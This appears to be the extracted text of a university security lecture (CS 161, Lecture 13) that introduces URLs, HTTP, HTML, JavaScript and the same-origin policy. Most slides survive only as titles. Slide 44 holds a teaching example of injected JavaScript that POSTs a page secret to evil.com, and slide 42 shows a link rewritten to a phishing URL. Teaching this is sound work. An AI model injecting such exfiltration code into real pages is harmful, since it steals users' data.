Welcome to the Web
CS 161 Spring 2022 - Lecture 13
Computer Science 161
Nicholas Weaver
Announcements
2
Computer Science 161
Nicholas Weaver
Today: Introduction to Web
3
Computer Science 161
Nicholas Weaver
A Brief History of the Web
4
Computer Science 161
Nicholas Weaver
A Brief History of the Web
5
Computer Science 161
Nicholas Weaver
Memex
6
Computer Science 161
Nicholas Weaver
Memex
7
Computer Science 161
Nicholas Weaver
Web 1.0
8
Computer Science 161
Nicholas Weaver
Web 1.0, Attempt 2
9
Computer Science 161
Nicholas Weaver
What’s the Web?
10
Computer Science 161
Nicholas Weaver
What’s the Web?
11
Browser
Browser
Browser
Server
Server
The Internet
Computer Science 161
Nicholas Weaver
Today: Elements of the Web
12
Computer Science 161
Nicholas Weaver
URLs
13
Computer Science 161
Nicholas Weaver
Today: Elements of the Web
14
Computer Science 161
Nicholas Weaver
URLs
15
Computer Science 161
Nicholas Weaver
Parts of a URL: Scheme
16
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Nicholas Weaver
Parts of a URL: Domain
17
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Nicholas Weaver
Parts of a URL: Location
18
https://toon.cs161.org:4000/xorcist/avian.html
Computer Science 161
Nicholas Weaver
Parts of a URL: Path
19
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Nicholas Weaver
Parts of a URL: Query
20
https://toon.cs161.org/draw?character=evan&size=big
Computer Science 161
Nicholas Weaver
Parts of a URL: Fragment
21
https://toon.cs161.org/cryptoverse/characters#mallory
Computer Science 161
Nicholas Weaver
URL Escaping
22
Computer Science 161
Nicholas Weaver
A Simplified View of the Web
23
func draw(bot, size)
func search(q)
Backend
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
Server: www.evanbot.com
Computer Science 161
Nicholas Weaver
A Simplified View of the Web
24
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can request a file from the server with a URL.
https://evanbot.com/pictures/evanbot.jpg
Computer Science 161
Nicholas Weaver
A Simplified View of the Web
25
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can also request some computation from the server.
https://evanbot.com/draw?bot=evan&size=large
Computer Science 161
Nicholas Weaver
HTTP
26
Computer Science 161
Nicholas Weaver
Today: Elements of the Web
27
Computer Science 161
Nicholas Weaver
HTTP
28
Computer Science 161
Nicholas Weaver
Parts of an HTTP Request
29
Computer Science 161
Nicholas Weaver
Parts of an HTTP Response
30
Computer Science 161
Nicholas Weaver
Parts of a Webpage
31
Computer Science 161
Nicholas Weaver
Today: Elements of the Web
32
Computer Science 161
Nicholas Weaver
HTML
33
Computer Science 161
Nicholas Weaver
Features of HTML: Create a Link
34
<a href="https://toon.cs161.org">Check out these comics!</a>
HTML
Webpage
Clicking on this text will take you to https://toon.cs161.org
Computer Science 161
Nicholas Weaver
Features of HTML: Create a Form
35
<form action="/feedback" method="POST">
<label for="name">Name:</label>
<input type="text" id="name">
<br>
<label for="bot">Favorite bot:</label><br>
<input type="radio" id="evan">
<label for="html">EvanBot</label><br>
<input type="radio" id="coda">
<label for="css">CodaBot</label><br>
<br>
<input type="submit" value="Submit">
</form>
HTML
Name:
Favorite bot:
EvanBot
CodaBot
Webpage
Submit
Clicking on the submit button will make a POST request to http://toon.cs161.org/feedback with the contents of the form
The HTML inside the <form> tags creates the form fields for the user to fill in.
Computer Science 161
Nicholas Weaver
Features of HTML: Embed an Image
36
<p>Look at my new desktop background!</p>
<img src="https://toon.cs161.org/assets/desktop.png">
HTML
Look at my new desktop background!
Webpage
The browser will make a GET request to https://toon.cs161.org/assets/desktop.png
and display the returned image on the page.
Computer Science 161
Nicholas Weaver
Features of HTML: Embed Another Webpage
37
CS 161 toon website above.
The outer frame embeds the inner frame (sometimes called an iframe or frame).
<iframe src="https://toon.cs161.org" height="200" width="300"></iframe>
<p>CS 161 toon website above.</p>
HTML
Webpage
The browser will make a GET request to https://toon.cs161.org/ and display the returned webpage in a�200 pixel × 300 pixel box.
Computer Science 161
Nicholas Weaver
CSS
38
Computer Science 161
Nicholas Weaver
JavaScript
39
Computer Science 161
Nicholas Weaver
JavaScript Fact Sheet
40
Computer Science 161
Nicholas Weaver
Vulnerabilities in the JavaScript interpreter/compiler
41
Computer Science 161
Nicholas Weaver
Features of JavaScript
42
Webpage
<a id="link" href="https://toon.cs161.org">Toon</a>
HTML (before JavaScript executes)
Webpage
<a id="link" href="https://cs161.org/phishing">Toon</a>
HTML (after JavaScript executes)
document.getElementById('link').href = 'https://cs161.org/phishing';
JavaScript changed the link! Now clicking it opens https://cs161.org/phishing.
Computer Science 161
Nicholas Weaver
Features of JavaScript
43
<script>alert("Happy Birthday!")</script>
HTML (with embedded JavaScript)
Webpage
Happy Birthday!
OK
When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.
Computer Science 161
Nicholas Weaver
Features of JavaScript
44
<script>int secret = 42;</script>
...
<script>fetch('https://evil.com/receive',{method:'POST', body: secret})</script>
HTML (with embedded JavaScript)
If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.
Suppose the server returns some HTML with a secret JavaScript variable.
Computer Science 161
Nicholas Weaver
Rendering a Webpage
45
Computer Science 161
Nicholas Weaver
Security on the Web
46
Computer Science 161
Nicholas Weaver
Risks on the Web
47
Computer Science 161
Nicholas Weaver
Risks on the Web
48
Computer Science 161
Nicholas Weaver
Risks on the Web
49
Computer Science 161
Nicholas Weaver
Same-Origin Policy
50
Computer Science 161
Nicholas Weaver
Same-Origin Policy: Definition
51
Computer Science 161
Nicholas Weaver
Same-Origin Policy
52
https://toon.cs161.org:443/assets/lock.PNG
http://cs161.org/assets/images/404.png
80 (default port)
Computer Science 161
Nicholas Weaver
Same-Origin Policy
53
First domain | Second domain | Same origin? |
http://toon.cs161.org | https://toon.cs161.org | Protocol mismatch�http ≠ https |
http://toon.cs161.org | http://cs161.org | Domain mismatch�toon.cs161.org ≠ cs161.org |
http://toon.cs161.org[:80] | http://toon.cs161.org:8000 | Port mismatch�80 ≠ 8000 |
Computer Science 161
Nicholas Weaver
Same-Origin Policy
54
Computer Science 161
Nicholas Weaver
Summary: URLs
55
Computer Science 161
Nicholas Weaver
Summary: HTTP
56
Computer Science 161
Nicholas Weaver
Summary: Parts of a Webpage
57
Computer Science 161
Nicholas Weaver
Summary: Same-Origin Policy
58
Computer Science 161
Nicholas Weaver